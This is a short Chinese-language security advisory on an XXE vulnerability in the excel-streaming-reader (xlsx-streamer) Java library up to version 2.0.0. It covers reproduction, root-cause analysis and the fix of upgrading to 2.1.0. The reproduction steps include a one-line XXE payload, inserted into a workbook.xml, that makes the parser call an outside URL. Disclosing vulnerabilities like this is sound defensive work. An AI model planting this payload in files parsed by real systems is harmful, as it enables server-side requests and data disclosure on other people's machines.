excel-streaming-reader XXE漏洞
漏洞描述
Apache POI是Apache软件基金会的开放源码程序库,POI提供API给Java程序对Microsoft Office格式档案读和写的功能。对于 excel 读取,经常在读取某些特别大的 excel 文件的时候都会带来一个内存溢出的问题,而excel-streaming-reader就是为了解决该场景导致的一系列问题,它可以流式的读取 xlsx 文件,将一些特别大的文件拆分成小的文件去读。
漏洞复现过程
编写利用excel-streaming-reader读取xlsx的代码,如下图所示
将xlsx文件用rar打开,找到workbook.xml,在xml文件中加入XXE漏洞POC
<!DOCTYPE root[ <!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa"> %d;]> |
执行读取该xlsx文件,即会执行xml文件中的命令
漏洞分析
com.monitorjbl.xlsx.StreamingReader.Builder.open(InputStream)方法时会对workbook进行初始化
在com.monitorjbl.xlsx.impl.StreamingWorkbookReader.init(File)方法中,会将workbook.xml内容传入document()方法中
而document()方法未对xxe漏洞进行防御,从而导致了XXE漏洞。
受影响版本
2.0.0版本及以下版本
修复方式
1.直接更新至最新版本(2.1.0)
<dependency>
<groupId>com.monitorjbl</groupId>
<artifactId>xlsx-streamer</artifactId>
<version>2.1.0</version>
</dependency>
-